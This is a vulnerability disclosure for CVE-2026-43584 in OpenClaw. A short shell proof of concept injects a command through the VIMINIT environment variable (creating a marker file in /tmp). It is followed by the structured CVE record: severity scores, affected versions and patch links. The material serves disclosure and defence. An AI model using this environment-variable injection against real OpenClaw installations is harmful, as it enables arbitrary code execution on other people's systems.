CVE-2026-43584

# Exploit PoC for CVE-2026-43584 # This demonstrates how an operator can override environment variables # to achieve arbitrary code execution when OpenClaw invokes an interpreter. # Step 1: Set the malicious VIMINIT variable # This tells Vim to execute a shell command upon startup export VIMINIT="!touch /tmp/OpenClaw_pwned" # Step 2: Trigger the vulnerable exec environment in OpenClaw # (Simulated command that would trigger the internal policy) # The OpenClaw system eventually calls 'vim' during its workflow. # When vim starts, it reads VIMINIT and executes the command. # Verification: # Check if the file exists ls -l /tmp/OpenClaw_pwned

{"cve": {"id": "CVE-2026-43584", "sourceIdentifier": "[email protected]", "published": "2026-05-06T20:16:34.333", "lastModified": "2026-05-07T19:36:47.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.10 contains an insufficient environment variable denylist vulnerability in its exec environment policy that allows operator-supplied overrides of high-risk interpreter startup variables including VIMINIT, EXINIT, LUA_INIT, and HOSTALIASES. Attackers can exploit this by manipulating these environment variables to influence downstream execution behavior or network connectivity."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.10", "matchCriteriaId": "5B7C767E-3450-421C-BD9F-9CE0D760A0E5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/2d126fc62343a7b6895351f96e4e1474bc358140", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-vfp4-8x56-j7c5", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-insufficient-environment-variable-denylist-in-exec-policy", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}